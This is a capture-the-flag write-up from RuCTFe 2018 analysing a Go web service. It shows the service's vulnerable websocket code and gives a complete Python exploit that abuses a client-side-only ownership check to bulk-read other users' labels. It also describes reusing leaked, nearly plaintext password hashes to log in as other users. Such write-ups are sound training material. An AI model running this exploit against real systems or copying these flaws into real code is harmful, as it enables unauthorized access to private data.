Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018
The service
Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go
, some stuff in the templates and the websockets endpoint in command_executor.go
. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase
stored when creating the account was used to store some more flags.
Client side authentication for labels
Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.
let label = JSON.parse(e.data);
if (label.Owner !== getLoginFromCookies()) {
return;
}
And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.
"view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
var viewData ViewData
err := json.Unmarshal(data, &viewData)
if err != nil {
return nil, createUnmarshallingError(err, data)
}
cookies := parseCookies(viewData.RawCookies)
ok, _ := ex.sm.ValidateSession(cookies)
if !ok {
return nil, errors.New("invalid session")
}
label, err := ex.dbApi.ViewLabel(viewData.LabelId)
if err != nil {
return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
}
rawLabel, err := json.Marshal(*label)
if err != nil {
return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
}
return rawLabel, nil
},
Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels
#!/usr/bin/env python3
import requests
import websocket
import json
import sys
import string
import random
import base64
def main():
host = sys.argv[1]
session = requests.session()
password = [i for i in string.ascii_letters]
random.shuffle(password)
username = ''.join(password[:10])
phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
password = base64.b64encode((''.join(password[20:36])).encode()).decode()
x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %
(host,username,phrase,password))
x = session.get('http://%s:8888/login?login=%s&password=%s' %
(host,username, password))
raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])
ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
# make sure create is already commited before continuing
ws.recv()
data = {'Offset': 0, 'RawCookies': raw_cookie}
ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
stuff = json.loads(ws.recv())
lastid = stuff[0]['ID']
for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
try:
data = {'LabelId': i, 'RawCookies': raw_cookie}
ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
print(json.loads(ws.recv())["Text"])
except Exception:
pass
if __name__ == '__main__':
main()
Password Hash
The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test
) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd
). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa
) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.
Listening to tcpdump
for a while you'll notice interesting entries:
[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]
See the password hash there? Turns out this comes from the regularly scheduled last_users
websocket call.
"last_users": func(ex *CommandExecutor, _ []byte) ([]byte, error) {
users := ex.dbApi.GetLastUsers()
rawUsers, err := json.Marshal(*users)
if err != nil {
return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
}
return rawUsers, nil
},
So call last_users
(doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.
Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.